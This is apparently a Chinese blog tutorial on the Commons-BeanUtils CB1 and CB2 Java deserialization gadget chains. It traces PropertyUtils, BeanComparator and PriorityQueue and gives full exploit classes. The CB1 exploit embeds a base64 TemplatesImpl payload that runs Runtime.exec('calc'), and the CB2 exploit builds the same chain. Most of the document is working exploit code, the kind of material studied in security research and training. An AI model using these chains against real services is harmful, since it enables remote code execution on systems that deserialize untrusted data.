java反序列化之CB超详细易懂分析
- CB1
- 环境搭建
- 前言
- 分析
- PropertyUtils
- BeanComparator
- PriorityQueue
- CB2
- 环境搭建
- 前言
- exp
CB1
环境搭建
pom.xml
<dependencies><dependency><groupId>commons-beanutils</groupId><artifactId>commons-beanutils</artifactId><version>1.9.2</version></dependency><dependency>` 1<groupId>commons-logging</groupId><artifactId>commons-logging</artifactId><version>1.2</version></dependency></dependencies>
jdk1.8.0_65
前言
CB链主要是通过优先队列和TemplatesImpl类完成的,如果你学习了CC链,这个链子就是得心应手
分析
在怎么触发我们的TemplatesImpl的动态加载字节码的时候,这里我们不再选择触发newtransfrom,我们选择getoutputProperties方法,因为它是个getter方法
PropertyUtils
这个类相信已经很熟悉了,我们看到它的getProperty方法,这个方法详细追究的话可以获取传入对象的getter方法
public static Object getProperty(Object bean, String name)throws IllegalAccessException, InvocationTargetException,NoSuchMethodException {return (PropertyUtilsBean.getInstance().getProperty(bean, name));}
现在来调试分析一下
例子代码
package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;public class CB1 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException {byte[] code = Base64.getDecoder().decode("恶意代码");TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "xxx");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", new byte[][]{code});PropertyUtils.getProperty(templates,"outputProperties");}public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {Class<?> clazz = obj.getClass();Field fieldName = clazz.getDeclaredField(field);fieldName.setAccessible(true);fieldName.set(obj, value);}
}
首先我们进入到
return (PropertyUtilsBean.getInstance().getProperty(bean, name));
PropertyUtilsBean的getPropert方法
public Object getProperty(Object bean, String name)throws IllegalAccessException, InvocationTargetException,NoSuchMethodException {return (getNestedProperty(bean, name));}
然后进入到getNestedProperty方法
public Object getNestedProperty(Object bean, String name)throws IllegalAccessException, InvocationTargetException,NoSuchMethodException {if (bean == null) {throw new IllegalArgumentException("No bean specified");}if (name == null) {throw new IllegalArgumentException("No name specified for bean class '" +bean.getClass() + "'");}// Resolve nested referenceswhile (resolver.hasNested(name)) {String next = resolver.next(name);Object nestedBean = null;if (bean instanceof Map) {nestedBean = getPropertyOfMapBean((Map<?, ?>) bean, next);} else if (resolver.isMapped(next)) {nestedBean = getMappedProperty(bean, next);} else if (resolver.isIndexed(next)) {nestedBean = getIndexedProperty(bean, next);} else {nestedBean = getSimpleProperty(bean, next);}if (nestedBean == null) {throw new NestedNullException("Null property value for '" + name +"' on bean class '" + bean.getClass() + "'");}bean = nestedBean;name = resolver.remove(name);}if (bean instanceof Map) {bean = getPropertyOfMapBean((Map<?, ?>) bean, name);} else if (resolver.isMapped(name)) {bean = getMappedProperty(bean, name);} else if (resolver.isIndexed(name)) {bean = getIndexedProperty(bean, name);} else {bean = getSimpleProperty(bean, name);}return bean;}
因为我们的if都不成立,会来到getSimpleProperty(bean, name);
然后这个方法也是会经历一些if判断来到重点代码部分
PropertyDescriptor descriptor =getPropertyDescriptor(bean, name);if (descriptor == null) {throw new NoSuchMethodException("Unknown property '" +name + "' on class '" + bean.getClass() + "'" );}Method readMethod = getReadMethod(bean.getClass(), descriptor);if (readMethod == null) {throw new NoSuchMethodException("Property '" + name +"' has no getter method in class '" + bean.getClass() + "'");}
首先getPropertyDescriptor获取到我们的name就是
然后来到下一步
Method readMethod = getReadMethod(bean.getClass(), descriptor);
看名字都知道是获取bean类的方法
我们跟入进去获取到了getoutputproperties方法
来到
Object value = invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY);
一看名字就是触发了,这样一来就触发了我们TemplatesImpl的getoutputProperties方法,然后加载我们的恶意代码
就分析完了是怎么去触发我们getter方法的
下面来到一个新的问题,是怎么触发我们PropertyUtils.getProperty方法的
BeanComparator
看到它的compare方法
public int compare( T o1, T o2 ) {if ( property == null ) {// compare the actual objectsreturn internalCompare( o1, o2 );}try {Object value1 = PropertyUtils.getProperty( o1, property );Object value2 = PropertyUtils.getProperty( o2, property );return internalCompare( value1, value2 );}catch ( IllegalAccessException iae ) {throw new RuntimeException( "IllegalAccessException: " + iae.toString() );}catch ( InvocationTargetException ite ) {throw new RuntimeException( "InvocationTargetException: " + ite.toString() );}catch ( NoSuchMethodException nsme ) {throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );}}
Object value1 = PropertyUtils.getProperty( o1, property );
就恰好可以,我们试着操作一下
package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;public class CB1 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException {byte[] code = Base64.getDecoder().decode("恶意代码");TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "xxx");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", new byte[][]{code});BeanComparator beanComparator= new BeanComparator("outputProperties");beanComparator.compare(templates,templates);}public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {Class<?> clazz = obj.getClass();Field fieldName = clazz.getDeclaredField(field);fieldName.setAccessible(true);fieldName.set(obj, value);}
}
运行确实弹出了计算器
那怎么触发compare方法呢?
PriorityQueue
还是我们的老朋友,readobject会一路触发到siftDownUsingComparator,然后调用我们的comparator.compare方法
private void siftDownUsingComparator(int k, E x) {int half = size >>> 1;while (k < half) {int child = (k << 1) + 1;Object c = queue[child];int right = child + 1;if (right < size &&comparator.compare((E) c, (E) queue[right]) > 0)c = queue[child = right];if (comparator.compare(x, (E) c) <= 0)break;queue[k] = c;k = child;}queue[k] = x;}
所以我们只需要反序列化它就好了
package org.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.PropertyUtils;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.PriorityQueue;public class CB1 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException {byte[] code = Base64.getDecoder().decode("yv66vgAAADQAKQoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHACIBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAGPGluaXQ+AQADKClWAQANU3RhY2tNYXBUYWJsZQcAIAcAHQEAClNvdXJjZUZpbGUBAApDYWxjMS5qYXZhDAARABIHACMMACQAJQEABGNhbGMMACYAJwEAE2phdmEvbGFuZy9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwAEQAoAQAFQ2FsYzEBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgAhAAgACQAAAAAAAwABAAoACwACAAwAAAAZAAAAAwAAAAGxAAAAAQANAAAABgABAAAACAAOAAAABAABAA8AAQAKABAAAgAMAAAAGQAAAAQAAAABsQAAAAEADQAAAAYAAQAAAAoADgAAAAQAAQAPAAEAEQASAAEADAAAAGUAAwACAAAAGyq3AAG4AAISA7YABFenAA1MuwAGWSu3AAe/sQABAAQADQAQAAUAAgANAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAGgASABMAAAAQAAL/ABAAAQcAFAABBwAVCQABABYAAAACABc=");TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "xxx");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", new byte[][]{code});// 1.PropertyUtils.getProperty(templates,"outputProperties");// 2. BeanComparator beanComparator= new BeanComparator("outputProperties");
// beanComparator.compare(templates,templates);BeanComparator comparator = new BeanComparator();PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);queue.add(1);queue.add(2);setFieldValue(queue,"queue",new Object[]{templates,templates});// 设置BeanComparator.compare()的参数setFieldValue(comparator,"property","outputProperties");ByteArrayOutputStream bos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(bos);oos.writeObject(queue);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));ois.readObject();}public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {Class<?> clazz = obj.getClass();Field fieldName = clazz.getDeclaredField(field);fieldName.setAccessible(true);fieldName.set(obj, value);}
}
当然这里有几个问题你可能很疑惑
1.为什么我需要先add无关紧要的东西
我前面讲cc2已经讲过,你可以去看看
2.为什么长度必须为2呢?
因为size要大于2才能比较啊,比较肯定是两个啊,不能自己和自己比
CB2
环境搭建
这就不需要我们的cc依赖了
前言
为什么会出现CB2,因为CB1还是需要cc依赖的,而我们的cb2根本不需要cc的依赖就能够实现我们的反序列化了
exp
就不分析了
public class CB2 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {byte[] code = Base64.getDecoder().decode("y...CABc=");TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates, "_name", "xxx");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());setFieldValue(templates, "_bytecodes", new byte[][]{code});//先传入property为空,防止add时触发PropertyUtils.getProperty()BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);PriorityQueue queue = new PriorityQueue(2, comparator);//此处应将CB1中传入的1,2改为String类型,不然会报java.lang.Integer cannot be cast to java.lang.Stringqueue.add("1");queue.add("2");setFieldValue(comparator,"property","outputProperties");setFieldValue(queue,"queue",new Object[]{templates,templates});ByteArrayOutputStream bos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(bos);oos.writeObject(queue);oos.close();ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(bos.toByteArray()));ois.readObject();}public static void setFieldValue(Object obj, String field, Object value) throws NoSuchFieldException, IllegalAccessException {Class<?> clazz = obj.getClass();Field fieldName = clazz.getDeclaredField(field);fieldName.setAccessible(true);fieldName.set(obj, value);}
}